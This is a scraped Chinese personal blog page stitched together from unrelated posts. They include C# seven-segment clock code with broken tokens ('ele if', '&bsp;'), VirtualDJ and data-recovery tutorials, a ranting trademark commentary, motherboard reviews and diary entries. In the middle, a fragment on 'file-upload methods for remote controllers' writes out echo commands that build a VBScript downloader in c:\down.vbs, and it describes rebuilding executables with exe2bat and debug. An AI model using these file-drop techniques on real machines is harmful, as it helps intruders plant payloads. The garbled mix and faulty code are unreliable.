gg.CompositingQuality = CompositingQuality.HighQuality;
gg.DrawImageUnscaled(m_Bitmap, 0, 0);
//g.Dispose();
}
public Bitmap DrawClock()
{
return this.DrawClock(this.ClientRectangle);
}
private void SevenSegmentClock_Resize(object sender, System.EventArgs e)
{
Init();
this.Refresh();
}
private void InitializeComponent()
{
//
// SevenSegmentClock
//
this.Name = "SevenSegmentClock";
this.Size = new System.Drawing.Size(448, 64);
this.Resize += new System.EventHandler(this.SevenSegmentClock_Resize);
}
int _clockStringWidth;
int _clockStringHeight;
public int ClockStringWidth
{
get
{
return _clockStringWidth;
}
}
public int ClockStringHeight
{
get
{
&bsp; return _clockStringHeight;
}
}
//绘制时钟
public Bitmap DrawClock(Rectangle destRect)
{
m_Bitmap = new Bitmap(destRect.Width, destRect.Height);
//m_Bitmap = new Bitmap(destRect.X + this.Width, destRect.Y + this.Height);
Graphics grfx = Graphics.FromImage(m_Bitmap);
//设置绘图面板的绘制质量等
grfx.CompositingQuality = CompositingQuality.HighQuality;
grfx.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit;
grfx.SmoothingMode = SmoothingMode.HighQuality;
SevenSegmentDisplay ssd = new SevenSegmentDisplay(grfx);
ssd.IsDrawShadow = this._isDrawShadow;
GraphicsState gs = grfx.Save();
grfx.TranslateTransform(destRect.X, destRect.Y);
string strTime = string.Empty;
if(this._clockStyle == SevenSegmentClockStyle.TimeOnly)
{
strTime = _dateTime.ToString("T", DateTimeFormatInfo.InvariantInfo);
}
else if(this._clockStyle == SevenSegmentClockStyle.DateOnly)
{
//设置日期格式
strTime = _dateTime.ToString("yyyy-MM-dd", DateTimeFormatInfo.InvariantInfo);
}
else
{
strTime = _dateTime.ToString("yyyy-MM-dd", DateTimeFormatInfo.InvariantInfo) + " " + _dateTime.ToString("T", DateTimeFormatInfo.InvariantInfo);
}
SizeF sizef = ssd.MeasureString(strTime, Font);
float fScale = Math.Min(destRect.Width / sizef.Width, destRect.Height / sizef.Height);
Font font = new Font(Font.FontFamily, fScale * Font.SizeInPoints);
sizef = ssd.MeasureString(strTime, font);
_clockStringWidth = (int)sizef.Width;
_clockStringHeight = (int)sizef.Height;
ssd.DrawString(strTime, font, new SolidBrush(this._clockColor),
(destRect.Width - sizef.Width) / 2,
(destRect.Height - sizef.Height) / 2);
grfx.Restore(gs);
return m_Bitmap;
}
}
}
//--------------------------(如转载,请保留版权信息)-------------------------//
// ------------------moweiq2@163.com莫伟琪编程--------------------------//
// ----------------------------- moweiqi2.bokee.com----------------------//
// -------------------- 未经书面许可,请勿用于商业用途 ---------------------//
using System;
using System.Drawing;
using System.Windows.Forms;
namespace BrawDraw.Com.PhotoFrame.Net.PublicFunctions.Clock
{
//字符绘制的算法
class SevenSegmentDisplay
{
Graphics grfx;
Brush _brush = Brushes.Black;
bool _isDrawShadow = true;
Color _shadowColor = Color.FromArgb(60, Color.White);
Brush _shadowBrush = null;
// Indicates what segments are illuminated for all 10 digits
static byte[,] bySegment = {
{1, 1, 1, 0, 1, 1, 1}, // 0
{0, 0, 1, 0, 0, 1, 0}, // 1
{1, 0, 1, 1, 1, 0, 1}, // 2
{1, 0, 1, 1, 0, 1, 1}, // 3
{0, 1, 1, 1, 0, 1, 0}, // 4
{1, 1, 0, 1, 0, 1, 1}, // 5
{1, 1, 0, 1, 1, 1, 1}, // 6
{1, 0, 1, 0, 0, 1, 0}, // 7
{1, 1, 1, 1, 1, 1, 1}, // 8
{1, 1, 1, 1, 0, 1, 1} // 9
};
// Points that define each of the seven segments
readonly Point[][] apt = new Point[7][];
public bool IsDrawShadow
{
get { return this._isDrawShadow; }
set { this._isDrawShadow = value; }
}
public SevenSegmentDisplay(Graphics grfx)
{
this.grfx = grfx;
// Initialize jagged Point array.
apt[0] = new Point[] {
new Point( 3, 2), new Point(39, 2),
new Point(31, 10), new Point(11, 10)
};
apt[1] = new Point[] {
new Point( 2, 3), new Point(10, 11),
new Point(10, 31), new Point( 2, 35)
};
apt[2] = new Point[] {
new Point(40, 3), new Point(40, 35),
new Point(32, 31), new Point(32, 11)
};
apt[3] = new Point[] {
new Point( 3, 36), new Point(11, 32),
new Point(31, 32), new Point(39, 36),
new Point(31, 40), new Point(11, 40)
};
apt[4] = new Point[] {
new Point( 2, 37), new Point(10, 41),
new Point(10, 61), new Point( 2, 69)
};
apt[5] = new Point[] {
new Point(40, 37), new Point(40, 69),
new Point(32, 61), new Point(32, 41)
};
apt[6] = new Point[] {
new Point(11, 62), new Point(31, 62),
new Point(39, 70), new Point( 3, 70)
};
}
public SizeF MeasureString(string str, Font font)
{
SizeF sizef = new SizeF(0, grfx.DpiX * font.SizeInPoints / 72);
for (int i = 0; i < str.Length; i++)
{
if (Char.IsDigit(str[i]))
{
sizef.Width += 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
ele if (str[i] == '-')
{
sizef.Width += 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
else if (str[i] == ':')
{
sizef.Width += 20 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
else if (str[i] == ' ')
{
sizef.Width += 36 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
}
return sizef;
}
public void DrawString(string str, Font font, Brush brush, float x, float y)
{
this._brush = brush;
this._shadowBrush = new SolidBrush(Color.FromArgb(40, ((SolidBrush)this._brush).Color));
for (int i = 0; i < str.Length; i++)
{
if (Char.IsDigit(str[i]))
{
x = Number(str[i] - '0', font, brush, x, y);
}
else if (str[i] == '-')
{
x = MinusSign(font, brush, x, y);
}
else if (str[i] == ':')
{
x = Colon(font, brush, x, y);
}
else if (str[i] == ' ')
{
x = DrawSpace(font, brush, x, y);
}
}
}
private float Number(int num, Font font, Brush brush, float x, float y)
{
for (int i = 0; i < apt.Length; i++)
{
if(_isDrawShadow)
{
Fill(apt[i], font, _shadowBrush, x, y);
}
if (bySegment[num, i] == 1)
{
Fill(apt[i], font, brush, x, y);
}
}
return x + 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
private float MinusSign(Font font, Brush brush, float x, float y)
{
Fill(apt[3], font, brush, x, y);
return x + 42 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
private float DrawSpace(Font font, Brush brush, float x, float y)
{
return x + 36 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
private float Colon(Font font, Brush brush, float x, float y)
{
Point[][] apt = new Point[2][];
apt[0] = new Point[] {
new Point( 4, 12), new Point( 16, 12),
new Point(16, 24), new Point( 4, 24)
};
apt[1] = new Point[] {
new Point( 4, 50), new Point( 16, 50),
new Point(16, 62), new Point( 4, 62)
};
for (int i = 0; i < apt.Length; i++)
{
Fill(apt[i], font, brush, x, y);
}
return x + 20 * grfx.DpiX * font.SizeInPoints / 72 / 72;
}
private void Fill(Point[] apt, Font font, Brush brush, float x, float y)
{
PointF[] aptf = new PointF[apt.Length];
for (int i = 0; i < apt.Length; i++)
{
aptf[i].X = x + apt[i].X * grfx.DpiX * font.SizeInPoints / 72 / 72;
aptf[i].Y = y + apt[i].Y * grfx.DpiY * font.SizeInPoints / 72 / 72;
}
grfx.FillPolygon(brush, aptf);
}
}
}
今天我也做回疯狂DJ 混出自己的精彩
说到DJ,大家一定会想到那个在DJ台上挥汗如雨,制造者各种极具震憾力的音乐的人,是不是也想上去过把瘾呢?但一般人很难有机会接触那些昂贵的器材。笔者在这儿向大家推荐Atomix Virtual DJ,有了它我们不用购买任何器材和唱碟,只要利用MP3音乐,就可以用电脑演奏出几近专业的混音效果。
初窥VirtualDJ
由于VirtualDJ的主界面功能按钮繁多,笔者为了便于向大家做介绍,将主界面分为五个区即:“Active Waveform(活动波形区)” 、“Left Desk(左唱盘区)”、“Mix Table(混音面板)”、“Right Desk(右唱盘区)” 及“Main Window(主窗口)”(如图1)。下面让我们先了解下这几个区域的主要功能吧。

图1
“Active Waveform”窗口以波浪纹来显示播放歌曲的节奏;“Left Desk(左唱盘)” 和“Right Desk(右唱盘)”顾名思义是用来放入音乐的,把音乐文件拖放到相应唱盘上再点击“Play(播放)”按钮即可开始播放。“Mix Table”(混音面盘)提供了各种混音效果;“Main Window”则会根据你的选择,显示你的现有曲目或者各种音乐效果等信息。
制作混音效果
仅仅播放并不能体现VirtualDJ的神奇,添加歌曲后,我们就可以放开手脚做一些效果了。点击唱盘下方"Beatlock(锁拍)"按钮,它将激活VirtualDJ的Beatlock功能。接着分别可以按下左右两端唱盘下方的"PLAY"按钮,现在两首曲子将同时演奏,VirtualDJ将使它们保持同步播放。要想完成两首歌曲互串的效果,可以平滑地拖动位于“混音面盘”下方的“Crossfader(交叉音控器)”滑块,块向左移动时音乐会逐渐的从右边淡出,缓缓地进入左边。反之亦然,相当的有趣。
是不是还少了点什么呢?对,真正的DJ应该还有“擦盘”的操作,“擦盘”就是指DJ用手按住唱盘来回移动造成一种特别的噪音。咱也不能含糊,赶快把鼠标放置到唱片上试试看。按下鼠标音乐会暂停,来回摩擦唱片就会发出仿真的“擦盘”声效,怎么样,够炫吧!掌握了以上的技法后,你已经向DJ更进一步了。
添加其他效果
VirtualDJ能让我们添加更多的效果来个性化你的音,在“Mix Table(混音面盘)”区域有四个按钮,分别提供了不同的效果,比如单击第二个按钮,下方就会显示出Loop特效设置区,这里我们可以选择多种Loop添加到音乐中,利用这一功能可为音乐增加声音、弦乐、颤音、噪音等特殊音效。单击第三个按钮,就会切换到特殊效果的调节界面,我们在这儿就可以利用“chan1”和“chan2” 这两个区下的三个按钮对左右两边的音乐进行“Beat grid 、Vocals+、TK Filter V2”等特效的调节(如图2)。至于每个特效代表了什么效果,还是留给大家自己去探索吧!

图2
VirtualDJ笔者就大致介绍到这里,混音虽然好玩,但要想混好,还真不容易。有兴趣的朋友可以多多练习,多掌握一些混音知识与规则,混出一首极具个性的音乐可是一件非常有成就感的事哦!现在就让音乐响起来,让我们动起来吧!
文件上传八大法—远程控制者必看
echosGet.Open()〉〉c:\down.vbs
echosGet.Write(xPost.responseBody)〉〉c:\down.vbs
echosGet.SaveToFileiLocal,2〉〉c:\down.vbs
八.exe2bat命令行下输入,debug还原成文件
用exe2bat这个工具把exe文件转化成bat,然后一行行敲进去,这样工作量非常大,只适合于非常短小的文件
数据丢失了不用怕 轻松恢复请跟我来
从回收站中找回
回收站其实是硬盘上的一块磁盘空间,每个磁盘分区都有这样一个专门的区域,它一般位于当前磁盘的根目录下的“Recycled”文件夹中。在资源管理器中“工具/文件夹选项/查看”中选择“显示所有文件和文件夹”并去掉“隐藏受到保护的操作系统文件”前的钩,就可以看到一个名为“Recycled”的“回收站”文件夹。将文件放入回收站是种“可恢复的删除”,因为数据仅仅是被转移到了这个文件夹而已,想要找回数据非常轻松:打开回收站,找到目标文件并右击之,选择弹出的快捷菜单中的“还原”项命令,系统会自动将该文件存放到其删除前的位置。
提示:我们可以在属性中设定分区中回收站的最大空间(如图1)。

图1
“鬼门关”前找回数据
如果重要数据被“Shift+Delete”或是清除了回收站,想要找回就没那么容易了,不过只要方法得当,找回数据还是很有希望的。正如上期所说,所谓删除操作只是将文件的“记录表格”删除而已,只要文件的真身还安然无恙地保存在磁盘中,就为我们找回数据提供了可能。要想在“鬼门关”前找回数据,首先要做的事情就是停止对被删除文件所在分区进行任何写入操作,因为该文件所在的扇区已经被Windows表示为“空闲空间”了,如果我们继续给该分区中写入新的文件,被删除文件所在的磁盘扇区可能就会被使用,覆盖上了新的文件,这会导致数据完全无法恢复。
对于“Shift+Delete”后的数据,我们需要借助数据恢复软件来进行“数据恢复”,例如DataRecovery、FinalData等。在此我们以汉化版的FinalData为例来介绍具体的恢复过程。
第一步:打开FinalData后,单击菜单“文件/打开”,选择数据丢失的分区,单击“确定”按钮后,进入扫描阶段,稍后会提示你设置簇范围,按照其默认设置即可,接着单击“确定”按钮,系统便开始检索所有该分区中被删除的文件信息(如图2)。

图2
第二步:待检测完毕后,FinalData将会罗列出所有被删除的文件,找到并选择你想要恢复的文件并右键点击并选择“恢复”项命令即可打开保存位置窗口,在此选择保存位置,单击“保存”按钮即可成功恢复该文件了(如图3)。

图3
提示:如果你想恢复所有文件,只要按下“Ctrl+A”或是直接用鼠标拖选待恢复的多个文件,然后再右键点击选择“恢复”实现批量恢复操作。另外,安装数据恢复软件时,不要将其安装到丢失文件的分区中,防止其覆盖掉需要恢复的数据。
上面我们是以硬盘数据恢复为例,如果你想恢复优盘、数码相机等设备中的文件,只要将这些设备连接到电脑,然后再运行FinalData并按照上述方法进行恢复即可。
写在最后:数据是计算机的灵魂,特别是一些重要的数据,俗话说:硬盘有价,数据无价。在我们日常工作中,应该养成为重要数据做备份的习惯,而且最好将这些数据备份到服务器或者网络空间等不易丢失的地方。另外需要说明的是,删除操作要小心,不要把全部希望寄托在数据恢复上,因为它并不是一个十分保险的办法,常常会有无法恢复(数据已经被覆盖)或者恢复损坏等情况发生。
日本游戏商抢注四大名著 温州企业有意见
三个月的商标异议期进入倒计时,国家商标局至今仍没收到任何人对日本公司抢注中国四大名著游戏商标提出的异议申请书,专家称——
-一个爱国的学生 莫伟琪
中国四大名著是近年国內外动漫游戏业最热衷于开发的题材。
近日了解到,若无人异议,日本公司抢注的中国四大名著游戏商标将在本月28日后陆续获得商标局的核准注册。但是直到昨日国家商标局仍未收到任何人对日本公司抢注的中国四大名著游戏商标提出的异议申请书。
“随着国务院《信息网络传播权保护条例》在年內出台,国内游戏公司关于《西游记》、《水浒传》、《三国志》衍生的网络游戏将面临被诉侵权全面封杀的危险,中国动漫游戏业正面临一场大灾难。”中国知识产权研究会资深会员、北京红徽国际知识产权事务所董事长廖俊铭接受我的采访时表示了他的担忧。
至今仍无人提出异议申请
自2月8日向国内新闻媒体披露日本公司抢注中国四大名著游戏商标事件后,时至近日国家商标局仍未收到任何人对日本公司抢注的中国四大名著游戏商标提出的异议申请书。
“你想想看哪个中国人谁会自己去申请四大名著?老外正好插上一杠子。”中国知识产权研究会秘书长赵春山对我作出如此表示。
“平民百姓对日本公司抢注的中国四大名著游戏商标之事没有提出异议申请情有可谅,但国内动漫产业界对此事件无动于衷则是太令国人痛心和汗颜了。”廖说。
我了解到,国内动漫产业界大多对自己的公司商号进行了商标注册,注册一个商标只需约2000元左右,对一个经过初审公告的商标提出异议申请也只不过三五千元的费用。对我来说天啊5000元钱啊无奈啦只好求9啦。
有业内人士分析,国内动漫产业界企业对日本公司抢注的中国四大名著游戏商标至今没有提出异议申请,原因可能有两点:第一,国内动漫产业界对日本公司抢注中国四大名著游戏商标后所潜在的严重后果缺乏必要的、专业的估计;第二,国内动漫企业缺乏凝聚力和民族精神,互相持观望态度,自己不想当出头鸟,希望由别人来提出异议。而这两点,恰恰跟日本公司下狠招杀入中国动漫市场的做法呈鲜明对比,令国人愧疚。日本不法商人真是狠啊偶们不团结果人家就来踢馆来了,真是希望陈真大哥你不要爬出来啊不然见了我们这些人也会不得安息的啊。
国际保护知识产权协会中国分会秘书长陆普舜接受我采访时表示,这也可能是因为很多人并没有注意到这个问题,不知道这个事件。
北京市律师协会反不正当竞争委员会副主任吴维丁在对我也表示了同样的看法,她认为,我国大部分企业的知识产权保护意识仍不够,而且我国现在的网游企业大都处于起步发展阶段,可能还没有保护知识产权方面的意识。
温州企业称提出异议但仍未生效
在中国的文学瑰宝即将成为国外游戏商的盈利工具之际,据称已有一家温州企业站出来说“不”。3月6日,温州一家公司有关负责人对媒体称,他们已委托相关商标事务所向国家商标局提出异议,反对日本游戏商将“水浒传”进行注册。
时过近千年的四大古典名著的原著版权已不复存在(我虽然不喜欢宋江但我也是个中国人啊,要是下次玩游戏见到的武侠都是人家的版权的话,108条好汉不知道会不会爬出来说跟日本不法商贩要版权费呢),但近世纪来我国有关出版社接连不断编印出版的四大名著却享有相关版权。在依据《商标法》第十条“下列标志不得作为商标使用”的第(八)款“有害于社会主义道德或者有其它不良影响的”的规定为由提出异议时,关键要就“其它不良影响”提供充分的理由和佐证材料。
“越多的各行业单位提出异议或争议申请就越好,而且还要对所有外国企业抢注的、与四大名著有关的“擦边球”商标都要提出异议或争议,请求商标局撤销其申请和商标评审委员会撤销其注册,以断后患。”廖说。
一位商标代理业内人士指出,如果这家温州企业真的向国家商标局提出异议,按规定,需要提交异议理由书等资料,并经过一系列程序,此外异议费还要到位,国家商标局才会正式依法受理,另还需邮寄时间,这样最快都得一个星期左右。而现在,时间已进入倒计时状态。
日企如果注册成功将引发很多纠纷
吴在接受采访时表示,这个事件所涉争议可能并非一个特例,随着作品交流的日益发展,将进入公共领域的作品中的名称作为商标进行注册的情况可能越来越多,如果此后使用原作品的行为被认为构成侵犯商标权,那么商标注册人即可通过注册商标行为来垄断原作品的使用,这将阻碍原作品的传播,更违背了进入公有领域的作品人人平等地可以自由使用的立法本意。
“日本公司成功抢注中国四大名著游戏商标的严重后果将是多方面的和不堪设想的。”廖认为。
“为什么商标局没有采取措施呢?”陆普舜对此表示担忧。“如果日本公司抢注成功,以后我们国家任何单位想把四大名著改变成动画片、漫画、游戏等等都会有很大的麻烦,受到的影响是相当大的。”
吴说,日本公司如果注册成功,将来可能会引发很多纠纷,即日本公司的商标权和进入公有领域的作品权利的冲突,但并不意味着我们对四大名著的改编、出版、摄制等任何使用都构成侵权。TRIPS协议中也规定了对商标专用权进行限制的条款。TRIPS第17条规定,各成员可对商标所授予的权利规定有限的例外,如合理使用描述性词语,只要此类例外考虑到商标所有权人和第三方的合法权益。
廖向记者讲了他的几点担忧,一是国内动漫界以《西游记》、《水浒传》、《三国志》衍生的网络游戏面临被诉侵权全面封杀的毁灭性厄运。一旦日本公司成功抢注中国四大名著游戏商标后,毫无疑问会在适当时候扬起WTO规则“大棒”,横扫国内动漫界所有有关《西游记》、《水浒传》、《三国志》衍生的网络游戏予以“清场”。之前个别中国四大名著游戏商标已被日本公司抢注成功,而相关日本公司仍按兵不动,显然是只待国务院《信息网络传播权保护条例》出台实施后发起总攻势对国内动漫界“一窝端”。国内游戏玩家以青少年为绝对主体,人数近亿,局限于青少年阅历的狭窄,如果国外公司把一些名著压根没有,或者相反的内容放进游戏传播,由于拥有合法的商标,对青少年教育的不良影响及其严重后果不言而喻。(国骂→真他吗的黑啊伸手不见五指啊)
“这种状况令人极其担忧,在迫不得已的情况下,我将会在20号左右,向这些被外国企业抢注的中国名著游戏商标及时提出异议和争议申请,但愿日后不再是‘孤身作战’。”廖俊铭无可奈何地对我说。
但是最后我想告诉少数不法日本商贩你们别想占我们的便宜啦,为什么这样说呢,呵呵不妨告诉你们呵呵,因为中国是社会主义国家,那社会主义国家会怎么样呢,那就是文件大过法律谢谢!!什么意思呵呵你要问我就是问对了我是军队院校的人,告诉你们这些不希望和平的不法商贩吧“不管国家有多少东西给别人占了但你要是想用法律解决问题是不可能的啊,因为中央文件比法律更强,只要上面下个文件不管下面怎么样干也要执行,呵呵怕了吧。什么什么你说什么啊?那法律有什么用啊?呵呵那是给外界一种文章,你就算是得到了法律的许可,但中央下个文件下来,你看看你还能不能混了,呵呵~!我们也不是很霸道吧谢谢。(废话不霸道那叫文件啊)就拿我们广西来说吧,上面给的文件一般到市里就是广西政治局说了算的,呵呵那叫自制区啊,你们也不想想为什么广东能发展起来,呵呵不用说大家也知道是广东给的文件批准的。不然怎么多好的港口不发展而去发展哪个不毛这地。不就是文件说了给的范围是深圳嘛。废话就不多说了我希望日本不法商贩知道我们的规则。
跟我们玩阴的你们也不想想哈。你以为我们是资本主义啊什么都讲哪个议会,我们是什么都讲文件,文件是发的,呵呵告诉你吧是国务院,国务院是谁看的场啊,呵呵是常任委员,常任委员是谁当的啊,是各级地方代表谢谢,你以为那这样很好啊是不是啊怎么多人干一件事一定会说理的,但你想想最后是谁签字批阅的是杂们涛哥,涛哥不给你发你能发吗小子。
什么叫社会主义啊就是社会大家一起给意见最后是涛哥说了算谢谢。
本文纯粹是一个爱国的大学生说的话,当然不能代表什么,因为我也怕我的队长。希望大家不要乱说社会主义什么什么的,因为达尔文说过人就是适应环境而不是环境适应人,在社会主义的规则下好好地去干活有前途的谢谢。
其实我也希望日本友人们好好面对自己的历史,毕竟我们有着上千年的友谊,为什么要为了那几十年的不高兴去计较什么呢。好好做事好好做人我们会有一天接受日本这个民族的,但绝不会是现在,好了最后说声客气些话吧祝愿我们中日两国世代友好,但你信吗?那就见仁见智吧毕竟我们以前还有过上千年的友谊。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
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很好看的哦我听别人说的

















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昂达N61G全整合主板只要499元
昂达N61G主板选用蓝色PCB小板型设计,采用改进后的nVIDIA Geforce6100+NF410芯片组解决了数据溢出的BUG。主板可支持800MHz前端总线与Socket 754接口的Athlon64与Sempron处理器。主板的北桥芯片集成了GeForce 6200TC等级绘图核心硬件支持Microsoft DierctX 9.0C Shader Model 3.0,其核心频率高达425MHZ可最大共享128MB系统内存做显存使用。并且可通过主板配备了PCI-E 16X插槽升级电脑的显示系统。内存控制方面,主板配置了两条内存插槽最大可支持DDR400 2GB内存。


主板供电部分采用目前流行的三相供电设计并辅以高品质的富士通黄壳电容,确保了主板能长时间稳定运行。nForce410南桥芯片为主板提供了两个SATA-II型接口与两组ATA100 IDE接口并可支持NV RAID功能。

主板外部I/O接口方面除了目前流行的接口配置还配备了同轴音频端口,此外这主板提供了5.1声道的音频输出与百兆网络连接,能满足一般消费者日常使用。
有一说一:目前通路品牌中采用Geforce6100芯片的主板并不是很多,昂达N61G主板在做工与用料上都相当到位并配置了高品质的富士通电容将最大程度保证主板的稳定与超频,目前499元的售价比起先前上市的一些C51主板要便宜不少,值得关注。什么叫强悍的主板我来给大家讲讲吧这个主板玩魔兽世界就流畅,呵呵呵呵大家快写动手吧呵呵~!
不用多说能玩魔兽世界的集成主板昂达N61G
昂达N61G
昂达N61G固态电容版主板,受到了不少入门级DIY用户的关注。今天市场又传来消息,升级了全新BIOS的新一批昂达N61G也已经到货柜台了。而最新的报价是499元!成为市场上最具性价比的C51主板!
据悉,新版主板采用了新的BIOS,针对超频、内存和游戏表现力进行了改进。使这款颇受关注的闪龙全整合主板更加超值了。这对于一款整合主板来说是非常难得的,要知道在不改变硬件配置的情况下,完成对显卡频率的再次提升,工程师要经过大量而细致的工作对产品进行调试这次的频率更是提升了75MHz,对于独立显卡来说都相当不易了。并且老用户也可以通过升级主板BIOS来尝试这一新变化。(新版本BIOS下载地址ftp://ftp.onda.cn/download/bios/n61g/n61g.rar)
昂达N61G采用的是nVIDIA NF6100+NF410芯片组,支持AMD Scoket754 64位速龙和32位/64位闪龙处理器。GF6100芯片(C51G芯片)整合了NV44图形芯片,新版本的核心频率已经升级了550MHz,能够共享128MB系统内存资源,硬件支持DX9.0技术,Pixel Shader 3.0像素渲染特效,在图形效果处理方面是相当不错的,对于一般的家庭应用没必要去购买显卡了,而日后的升级工作则交给了PCI-E x16接口。在其他方面,这款主板依旧强悍,支持最新的SATA2接口,10/100M网卡以及6声道音频输出。

产品家当一览,附件不是很丰富

采用了ATX小板设计的N61G布局相当紧凑
整合主板常用于小机箱内,必须直面发热量问题,并且由于它的PCB面积通常较小,大量的元器件插接的非常密集,特别容易堆积热量,再加上机箱内的数据线杂乱的盘结在一起,热量更是难以散发,这些都是系统安全的隐患。应对这一问题,该主板采用了富士通的固态聚合物电容,据搜索到的资料显示,该电容在105度下的元件寿命可达40000小时,发热量比普通液态电容低50%。另外该主板还使用了德国Infineon出品的MOSFET,这种场效应管的阻抗值只有7-9毫欧,大大降低了系统热量。
该主板具有2条2.5v 184-pin DDR DIMM 内存插槽;1个PCI Express x16 插槽 (支持符合 PCI Express v1.0a之设备);1个PCI Express x1 插槽 (支持符合 PCI Express v1.0a之设备);2个PCI 2.3规范32位插槽 (支持符合3.3v/5v PCI介面之设备) 。插槽数量虽然不多,但是对于寸土寸金的小板来说,插槽种类远比数量来的重要。
主板的存储设备单元接口也比较齐全,而在超频的时候,芯片组内部集成的SATA Host 控制器频率通常会受外部时钟频率的变化而升降,这对于SATA设备的稳定性将构成隐患。工程师在经过综合分析之后,在芯片组附近设计了一块晶震发生器(见图黄色跳线旁的椭圆形元件),它能发出25MHz的稳定运行频率并不断校正SATA Host锁定在标准频率下,这样SATA设备就会始终稳定工作啦! |
Realtek ALC655 5.1声道音效芯片,符合AC97 2.3规范;Realtek RTL8110SB网络芯片,提供100M以太网接入功能。
主板外部I/O接口一览,4个USB2.0独立接口,提供百兆网卡和6声道音频输出,除此以外还特别提供了一组支持输入+输出的高保真同轴数字音频接口。 有一说一:借助全新的BIOS,新版昂达N61G的板载显卡达到了550MHz的惊人频率。而6系列显卡核心的设计相当经典,效能也相当高,提升频率对其性能有比较明显的帮助。不过板载显卡与系统性能最大的冲突在内存的调控上,想增强产品性能的话,添加内存是最直接的改进方法了。目前该主板售价仅为499元,与捷波的同类产品价格相同!性价比相当高,推荐新配电脑的朋友选购 |
你要记得我
http://moweiqi2.bokee.com/inc/%C4%E3%D2%AA%BC%C7%B5%C3%CE%D2.mp3
你永远要记得我以前我就是像这样对你说但失去了的你不知道为什么我总是回忆呢.难道真的是回忆闯的祸.梦太少现实太多,回忆闯的祸.我希望你能记得我.一个不算是军人的军人自白.
关于城市生态环境的调查报告
关于城市生态环境的调查报告
莫伟琪
人与环境有着密不可分的关系。无论过去、现在还是未来,人类总是在不断地改造环境,创造不仅使用,而且美观的环境空间。城市所意味的,不仅仅是建筑、街道、商店等人工建构物的堆积,而蕴涵着在诸多功能性设施及硬质景观相伴下的社会文化、经济、政治和城市居民多姿多彩的生活。从外在的视觉影像来看,城市是由其平面结构、天际轮廓、各色建筑、街市设施、区域地标、开放的空间、植栽园林及穿梭不定的交通工具所构成,然而这些都是城市人在选择和被选择的行为方式下形成的物质形态,其间蕴涵着深厚的自然法则、社会心理、人文情感及历史沧桑。
就城市生态环境我们做了调查———杭州及周边地区(萧山、余杭)做了调查
经济管理学院学生干部暑期社会实践一行主要是将城市(杭州、萧山、余杭)作为生态调查的重要组成部分
1、我们深入“东明山森林公园”进行调查,与杭州西湖风景区进行比较。就不难发现必要的补充性的生态调查也会引起注意,但对于城市这样特殊的、又很脆弱的人工生态调查,易于忽视、易于粗浅。城市的建筑物、构筑物是城市人工生态中的主要组成部分,也是生态脆弱的环节,它们之间、它们与大自然之间并没有经过久经考验的磨合,会不时地发生这样那样的不和谐的现象,以至发生灾害。要促进人和自然的协调与和谐,使人们在优美的生态环境中工作和生活。
我认为要正确处理经济发展同资环境的关系,改善生态环境和美化生活环境。做到与环境的协调发展。
应积极推进将城市资源资料与自然资源和其他单项资源资料相结合、相衔接,并作一些必要的专门生态调查,如城市与自然资源条件的吻合与分离影响的定性、定量的调查分析;建立城市人工生态调查、研究中心。
2、进入余杭良渚镇、萧山进行城镇调查,与杭州整体发展进行。良渚镇是因为文物保护没什么整体规划,杭州的整体规划实现在局部,而萧山有这明显的经济区等等
进一步从发展趋势考虑,应在重视“面”(区域)的基础上,突出“点”(城镇)的生态环境建设。这个点(城镇)的概念主要是指人口集聚的“建成区”及“规划区”,这是环境保护的重点。在努力建设好一批生态示范区的基础上,抓好一批以城市建成区和规划区为重点的生态建设示范城市,着力改善城镇人居环境,其任务同样紧迫,作用更加显著,影响更为深远。城市化———城市发展———城市环境保护———城市生态环境建设,是密不可分的“发展链”。
3、杭州与周边地区的人口密度是大一样,生活在杭州好象都是高楼大厦,而在周边地方好象挺空地的。在东明山森林公园和西湖风景区的游客数量是没法
比较的。环境那里也不错么为什么那么少呢。我想这就是一个人口密度的问提啊,
要提高资源的合理利用就要处理好与人口的关系。
要促进人和自然的协调与和谐,使人们在优美的生态环境中工作和生活。正确处理经济
发展同人口、资源、环境的关系,改善生态环境和美化生活环境,改善公共设施和社会福利设施。努力开创生产发展、生活富裕和生态良好的文明发展道路
4、杭州西湖区主要发展自己旅游,良渚镇主要发展自己了历史文化,萧山主要以现代经济发展区为主。
在整个城市化的过程中,都必须高度重视城市发展的质量、特色,改善生态环境,美化生活环境
5、人们的消费对城市生态环境也有很大的影响。比如汽车的大量使用对空气有这很大的影响,空调冰箱的大量使用,生活垃圾的大量产生等等
人类自身的种种活动,城市的质量、安全会呈现不稳定的状态。而且,我国城市化进程正在加速期,今后平均每年将有1000多万农业人口转化为城市(城镇)人口,进入千个、万个的城市(城镇)中,这不能不令人有沉重的紧迫感。应积极推进将城市资源资料与自然资源和其他单项资源资料相结合、相衔接,并作一些必要的专门生态调查,如城市与自然资源条件的吻合与分离影响的定性、定量的调查分析;建立城市人工生态调查、研究中心
还有水,绿化,文化------可以讨论
如果城市所实现的生活不是它自身的一种褒奖,那么为城市的发展形成而付出的全部牺牲就将毫无代价。无论扩大的权力还是有限的物质财富 ,都不能抵偿哪怕是一天丧失了的美、欢乐和亲情的享受。
学员:莫伟琪
六队:四区队
真是的队长个卖比的老是叫我写那些某有用的东西大家日巨.
2006年3月4日
〖公告〗腾讯封代码是为了钱
2006年3月2日
唉................天啊昨天没有写日记真是很遗憾啊,都是因为昨天教官打人啦吼吼.................
真是无耻啊这样的教官也能算是中国人民解放军吗,随便打人真是垃圾吼吼.............
